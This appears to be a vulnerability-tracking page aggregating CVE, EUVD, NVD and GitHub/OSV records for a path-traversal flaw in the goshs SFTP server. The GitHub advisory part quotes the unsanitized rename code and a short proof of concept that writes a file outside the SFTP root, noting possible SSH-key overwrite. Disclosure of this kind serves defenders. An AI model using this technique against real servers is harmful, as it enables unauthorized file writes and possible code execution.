CVE-2026-40188Published

goshs is Missing Write Protection for Parametric Data Values

Collected exploitation and prediction evidence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-40188

Published

goshs is a SimpleHTTPServer written in Go. From 1.0.7 to before 2.0.0-beta.4, the SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. This vulnerability is fixed in 2.0.0-beta.4.

Source published: 10 Apr 2026 19:43:45 UTC
Source modified: 13 Apr 2026 15:35:32 UTC
Observed here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

euvd · EUVD-2026-21589

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Apr 10, 2026, 7:43:45 PM

dateUpdated: Apr 13, 2026, 3:35:32 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2026:10542-1: goshs-2.0.0-1.1 on GA media

CVE-2026-35392 · CVE-2026-35393 · CVE-2026-35471 · CVE-2026-40188 · CVE-2026-40189

Source published: Apr 10, 2026, 7:43:45 PM (timezone not stated)
Source modified: Apr 13, 2026, 3:35:32 PM (timezone not stated)
Observed here: 28 Oct 2026 05:01:16 UTC
Source terms: ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

nvd · CVE-2026-40188

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-1314

Original publisher date fields

published: 2026-04-10T20:16:23.733

lastModified: 2026-10-26T21:10:00.170

4 source CPE criteria · context only

cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*
cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*
cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:*
cpe:2.3:a:goshs:goshs:2.0.0:beta3:*:*:*:go:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 10 Apr 2026 20:16:23 UTC
Source modified: 26 Oct 2026 21:10:00 UTC
Observed here: 27 Oct 2026 10:09:56 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

osv · GHSA-2943-crp8-38xx

Published

### Summary The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. ### Details Here is the issue: ```go // helper.go:155-215 func cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error { fullPath, err := sanitizePath(r.Filepath, root) // Source: SANITIZED if err != nil { return err } switch r.Method { // ... case "Rename": err := os.Rename(fullPath, r.Target) // Destination: NOT SANITIZED! ``` ### PoC To exploit just upload a file on the SFTP and rename it to a file with full path. Currently no key.txt file inside /tmp ``` bash $ ls key.txt ls: key.txt: No such file or directory ``` Start the SFTP server: ``` bash /tmp/sftp-server $ goshs -sftp -b 'user:user' -d . WARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode WARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs. INFO [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022 WARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too. INFO [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user' INFO [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded INFO [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000 INFO [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000 INFO [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server ``` Connect to the SFTP and uploading the file: ``` bash $ sftp -P 2022 user@localhost user@localhost's password: Connected to localhost. sftp> put /Users/user/Downloads/key.txt Uploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt key.txt 100% 15 40.9KB/s 00:00 ``` The file is stored properly. goshs log: ``` INFO [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - "/tmp/sftp-server/key.txt" ``` Rename command with full path: ``` bash sftp> rename key.txt /tmp/key.txt ``` goshs log: ``` INFO [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - "/tmp/sftp-server/key.txt to /tmp/key.txt" ``` Key file is now in /tmp ``` $ ls key.txt key.txt ``` ### Impact This allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.

Source published: 10 Apr 2026 20:00:28 UTC
Source modified: 8 Jun 2026 20:08:46 UTC
Observed here: 24 Oct 2026 13:19:41 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

Publisher rating · HIGH

osv · GO-2026-4953

Published

goshs is Missing Write Protection for Parametric Data Values in github.com/patrickhener/goshs

Source published: 20 May 2026 19:07:16 UTC
Source modified: 20 May 2026 19:30:11 UTC
Observed here: 24 Oct 2026 13:19:41 UTC
Source terms: OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.